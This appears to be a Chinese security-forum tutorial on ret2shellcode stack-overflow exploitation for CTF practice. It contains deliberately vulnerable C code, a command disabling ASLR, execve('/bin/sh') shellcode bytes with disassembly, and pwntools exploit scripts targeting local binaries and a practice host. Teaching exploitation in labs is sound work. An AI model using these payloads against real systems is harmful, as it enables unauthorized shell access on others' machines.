首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
3
0
[原创]ret2shellcode 浅析
发表于: 2026-8-27 12:00
1652
[原创]ret2shellcode 浅析
王嘟嘟
2026-8-27 12:00
1652
# 0x00 概述 学了Ret2Text之后大家肯定有一个问题,就是如果没有BackDoor的时候怎么办呢,那么Ret2Shellcode了解一下 Ret2Text 是指可以直接调用text里的函数,那么Ret2Shellcode就是指,我们可以直接自己构建一个函数。 程序存在缓冲区溢出漏洞,且**栈空间可执行(无 NX 保护)** ,我们可以将自定义的 shellcode(机器码指令)写入程序栈中,再通过溢出覆盖函数返回地址,让程序执行流跳转至栈上的 shellcode,最终弹出系统 shell。 ## 操作流程: 1. 利用缓冲区溢出,填充垃圾数据覆盖栈缓冲区; 2. 精准覆盖函数返回地址,将其改为栈上 shellcode 的起始地址; 3. 函数执行结束执行 ret 指令时,跳转至栈上 shellcode; 4. shellcode 被执行,获取系统 shell。 ## 利用条件: 1. 存在栈缓冲区溢出漏洞; 2. 未开启 NX 保护(栈可执行); 3. 可以泄露/精准计算出栈地址; # 0x01 实操 ## 1. 存在漏洞的c代码 ```html #include <stdio.h> #include <unistd.h> void vuln() { char buf[64]; printf("buf = %p\n", buf); read(0, buf, 200); } int main() { vuln(); return 0; } ``` ## 2.编译一下 ```html gcc -fno-stack-protector -z execstack -no-pie -o pwnme test.c ``` ## 3.确认漏洞存在 写的比存的多,或者说是比预分配的多,这个时候确认栈溢出漏洞存在,rax 分配了0x40个大小,但是read能读取0xc8肯定存在栈溢出。  那实际上只要覆盖满0x40+8就能到达ret的位置。可以看一下模拟图  由于这里没有可以直接利用的函数,所以我们需要自己创造一个函数出来。我们需要创造的函数是: ```html execve("/bin/sh", NULL, NULL) ``` 在amd64的环境下,它对应的机器码是 ```html 原始字节串: b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' 16进制字符串: 6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05 ``` 这里pwntools提供了一个快速生成shellcode的模块。通过如下的方法就可以直接生成,当然你也可以用上面的进行复制粘贴 ```html shellcraft.sh() ``` 现在我们要根据软件的格式进行转换 ```html from pwn import * context.arch = 'amd64' context.os = 'linux' sc = asm(shellcraft.sh()) ``` ## 4.开始利用 ### 第一步:首先还是先覆盖到0x40+8的位置。 ```html payload = 'A'*(0x40+8) ``` 然后我们知道后面的ret就是跳转地址,在之前的内容,我们这里需要写的是跳转地址,但是在这里我们需要写Shellcode的地址。这里我看在后面多余的跳转位置写。 那么写这个之前就要知道内存地址,在源码里也进行了对应的内存地址打印。如果是本地练习的话,可以关闭地址随机化 ASLR,保证栈地址固定,方便漏洞复现。 > ```Plain > # 临时关闭(重启失效) > echo 0 > /proc/sys/kernel/randomize_va_space > > # 永久关闭(可选) > sudo vim /proc/sys/kernel/randomize_va_space > # 修改值为 0 > ``` ### 第二步:确认栈地址 运行一下就可以拿到地址 ```html ./pwnme buf = 0x7fffffffe300 ``` 那么我们就知道初始的buf就是`0x7fffffffe300`,那么经过`0x40+8`的偏移,并且还要算上ret的`8`位便宜,所以最终地址就是`0x40+16` ```html buf = 0x7fffffffe300 payload = b'A'*(0x40+8) ret = 0x7fffffffe300+0x40+8+8 payload += ret ``` ### 第三步:写Shellcode ```html from pwn import * context.arch = 'amd64' context.os = 'linux' sc = asm(shellcraft.sh()) buf = 0x7fffffffe300 payload = b'A'*(0x40+8) ret = p64(buf+0x40+8+8) payload += ret payload +=sc ``` ### 第四步:组装最终的poc ```html from pwn import * context.binary = elf = ELF('./pwnme') context.arch = 'amd64' context.os = 'linux' p = process('./pwnme') sc = asm(shellcraft.sh()) buf = 0x7fffffffe300 payload = b'A'*(0x40+8) ret = p64(buf+0x40+8+8) payload += ret payload +=sc p.send(payload) p.interactive() ``` 运行一下最终拿到shell权限  ok,以上就是最简单最基础的Ret2Shellcode # 0x02 远程利用 远程地址:<mark class="encrypted">d7fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2T1j5#2)9J5k6h3S2S2L8$3u0S2j5$3S2S2L8X3N6Q4x3X3g2U0L8$3#2Q4x3V1k6K6k6h3g2Q4y4h3k6T1N6h3N6Q4y4h3k6G2L8X3g2Q4x3@1k6A6k6q4)9K6c8o6p5@1x3e0l9`.</mark> 之前由于我们关了ASLR,所以每次地址都是固定,所以我们通过硬编码的形式写了exp,但是很多情况在远程主机默认就是开启了ASLR。那么这个时候怎么办。 首先先nc连接一下,多执行几次就知道每次的buf都不一样。   那么这里我们就需要动态提取一下 > ### recvuntil(delim) > > 持续接收数据,直到读到指定的分隔字节串 `delim`,然后停止接收;返回【包含 delim 本身】的所有收到的数据。 > ### recvline > > 持续接收数据,**直到读到换行符** **`\n`** 就停止,返回**包含末尾** **`\n`** 的这一行字节数据。 然后写一下py,运行 ```html from pwn import * context.log_level = 'info' io = remote('hbc2.haobachang.com', 17159) io.recvuntil(b'[LEAK] buf = ') buf_addr = int(io.recvline().strip(), 16) buf_addr = hex(buf_addr) log.success(f'{buf_addr}') ``` 这样就能动态的提取buf_addr了  ok,现在我们进行分析,看到首先是开辟了一个0x50的空间,然后read可以读取0xc8的内容,那么就可以判断这里是存在栈溢出的。  那么我们可以采用之前的方法来写poc,专门增加了注释,大家感兴趣的可以逐行研究。 ```html from pwn import * # 设置程序架构、系统等上下文信息,方便asm编译shellcode和p64打包地址 context.binary = elf = ELF('./pwnme') context.arch = 'amd64' # 64位程序 context.os = 'linux' # linux系统 context.log_level = 'info' # 日志等级,会打印成功、错误等信息 # 连接远程pwn靶机 io = remote('hbc2.haobachang.com', 10394) # 接收直到字符串 [LEAK] buf = ,后面就是泄露出来的buf栈地址 io.recvuntil(b'[LEAK] buf = ') # 读取一行地址,转成16进制整数,用于后续地址计算 buf_addr = int(io.recvline().strip(), 16) # 打印泄露的buf地址(hex格式化输出,方便查看) log.success(f'buf_addr = {hex(buf_addr)}') # 生成linux amd64下的execve("/bin/sh",0,0) shellcode sc = asm(shellcraft.sh()) # 填充垃圾数据:0x50是缓冲区大小,+8是rbp的8字节,合计覆盖到返回地址 payload = b'A'*(0x50+8) # 构造跳转地址:覆盖返回地址,让ret执行时跳转到我们shellcode起始位置 # buf基地址 + 0x50+8(垃圾+rbp) +8(返回地址本身8字节) → shellcode起始处 ret_addr = p64(buf_addr + 0x50 + 8 + 8) payload += ret_addr # 在跳转地址后面拼接shellcode payload += sc # 发送构造好的溢出payload io.send(payload) # 进入交互模式,拿到shell后可以直接输入命令 io.interactive() ``` 执行一下,拿到flag  # 0x03 无法在尾巴写入ShellCode怎么办 如果遇到这样一个场景就是在当后面的缓存区不够用的时候怎么办,举个例子 ```html #include <stdio.h> #include <unistd.h> void vuln() { char buf[80]; printf("buf = %p\n", buf); read(0, buf, 96); } int main() { vuln(); return 0; } ``` 比如这里,我们知道这里肯定是存在溢出的,首先你需要至少16个字节才能改写ret,Shellcode自己也是要占用内存的,64+16=80,再继续往后写空间是不够的。聪明的你肯定想到,那是不是可以在前面写,然后跳转,这样空间就够了。 现在来写poc,这里咱们先从头写Shellcode ```html from pwn import * context.binary = elf = ELF('./pwnme') context.arch = 'amd64' context.os = 'linux' p = process('./pwnme') p.recvuntil(b'buf = ') buf_addr = int(p.recvline().strip(), 16) sc = asm(shellcraft.sh()) payload = sc ``` 然后算出偏移 ```html payload = sc payload += b'A'*(0x50+8-len(sc)) payload += p64(buf) ``` 最终脚本就是: ```html from pwn import * context.binary = elf = ELF('./pwnme') context.arch = 'amd64' context.os = 'linux' p = process('./pwnme') p.recvuntil(b'buf = ') buf_addr = int(p.recvline().strip(), 16) sc = asm(shellcraft.sh()) payload = sc payload += b'A'*(0x50+8-len(sc)) payload += p64(buf_addr) # 发送构造好的溢出payload p.send(payload) # 进入交互模式,拿到shell后可以直接输入命令 p.interactive() ``` 执行一下  有一道远程的题目,大家可以练习一下: <mark class="encrypted">047K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2T1j5#2)9J5k6h3S2S2L8$3u0S2j5$3S2S2L8X3N6Q4x3X3g2U0L8$3#2Q4x3V1k6K6k6h3g2Q4y4h3k6T1N6h3N6Q4y4h3k6G2L8X3g2Q4x3@1k6A6k6q4)9K6c8o6p5@1x3e0p5`.</mark> # 0x04 shellcraft.sh() 浅析 那么我们是为了学习的目的,所以我们现在来看一下shellcraft.sh()到底是什么,我们还是用asm为例。 之前我们说了`shellcraft.sh()`生成的函数原型是`execve("/bin/sh", NULL, NULL)`,那么为什么不用system呢 ## 1.浅析 来看一下对比: - **`system()`** :会调用 `fork()` 创建一个**子进程**,在子进程中执行 shell,同时**父进程(原程序)会阻塞等待**,直到子进程结束。执行完后,控制权会返回给父进程,程序继续往下运行。 - **`execve()`** :**不创建新进程**。它会直接用 `/bin/sh` 的代码和数据**覆盖**当前进程的映像。一旦调用成功,当前进程的后续代码(包括 `main` 函数的剩余部分)**永远不会执行**,也就是忽略原本程序,现在你就是/bin/sh。 并且**`execve()`** 的系统调用号是固定的,这样就不需要自己去通过其他方式去找,而system不是,`system`需要去找绝对地址。也就是通过**`execve()`** 构建的机器码是可以复用的。所以在pwn里会选择**`execve()`** 。 现在来看一下`shellcraft.sh()`对应的汇编,首先打印一下,然后通过`ndisasm`查看对应的汇编,整个长度为49字节。 ```html echo -ne "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05" | ndisasm -b 64 - ``` ```html 0: 6a 68 push 0x68 2: 48 b8 2f 62 69 6e 2f mov rax, 0x732f2f2f6e69622f ; "/bin///s" 9: 2f 2f 73 c: 50 push rax d: 48 89 e7 mov rdi, rsp ; rdi = 栈上字符串地址 10: 68 72 69 01 01 push 0x01016972 ; 压入 "ri" + 两个 0x01 15: 81 34 24 01 01 01 01 xor dword [rsp], 0x01010101 ; 将 "ri\x01\x01" 变成 "sh\x00\x00" 1c: 31 f6 xor esi, esi ; argv = NULL 1e: 56 push rsi 1f: 6a 08 push 0x8 21: 5e pop rsi ; rsi = 8 22: 48 01 e6 add rsi, rsp ; rsi = 栈上 "/bin/sh" 地址 + 8 25: 56 push rsi ; 压入 argv[0] 指针 26: 48 89 e6 mov rsi, rsp ; rsi = &argv[0] 29: 31 d2 xor edx, edx ; envp = NULL 2b: 6a 3b push 0x3b 2d: 58 pop rax ; rax = 59 (execve 系统调用号) 2e: 0f 05 syscall ; 触发系统调用 ``` 这里网上还有一些其他长度的shellcode ## 2. 24字节 shellcode ```html from pwn import * context.arch = 'amd64' context.os = 'linux' shellcode = asm(''' push 0x3b pop rax cdq push rdx mov rbx, 0x68732f6e69622f2f push rbx push rsp pop rdi push rdx push rdi push rsp pop rsi # rsi = argv 数组地址 (指向 [字符串地址, 0]) syscall ''') ``` ## 3.22字节 shellcode ```html sc = asm(""" mov rbx, 0x68732f6e69622f push rbx push rsp pop rdi xor esi,esi xor edx,edx push 0x3b pop rax syscall """) ``` 后面感觉可以专门写一篇深度分析的文章。 # 0x05 有大小限制的栈溢出 看了上面的字节限制,聪明的你肯定知道,必然会有这样的考题,限制存储大小。所以他来啦。 <mark class="encrypted">767K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2T1j5#2)9J5k6h3S2S2L8$3u0S2j5$3S2S2L8X3N6Q4x3X3g2U0L8$3#2Q4x3V1k6K6k6h3g2Q4y4h3k6T1N6h3N6Q4y4h3k6G2L8X3g2Q4x3@1k6A6k6q4)9K6c8o6p5@1x3e0t1`.</mark> 由于这里的只给分配了0x20大小的空间,没有办法使用`shellcraft.sh()` 所以使用22字节的Shellcode 即可。大家可以自行分析。 ```html from pwn import * context.binary = elf = ELF('./pwnme') context.arch = 'amd64' context.os = 'linux' p = remote('hbc2.haobachang.com', 13553) p.recvuntil(b'[LEAK] buf = ') buf_addr = int(p.recvline().strip(), 16) print(buf_addr) #sc = asm(shellcraft.sh()) sc = asm(""" mov rbx, 0x68732f6e69622f push rbx push rsp pop rdi xor esi,esi xor edx,edx push 0x3b pop rax syscall """) payload = sc payload += b'A'*(0x20+8-len(sc)) payload += p64(buf_addr) print(payload) # 发送构造好的溢出payload p.send(payload) # 进入交互模式,拿到shell后可以直接输入命令 p.interactive() ``` # 0x06 总结 本节内容主要是带大家了解了一下关于ret2shellcode的利用,以及远程利用方法,Shellcode的不同位置的写法,以及遇到的一些题目,大家下期见
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
收藏
・
3
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
王嘟嘟
5
发帖
37
回帖
45
RANK
关注
私信
他的文章
[原创]ret2shellcode 浅析
1646
[原创]pwnable.kr input 分析
19966
[原创]Android逆向-Android基础逆向(2)
4558
[原创]Android逆向-java代码基础(4)
4251
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部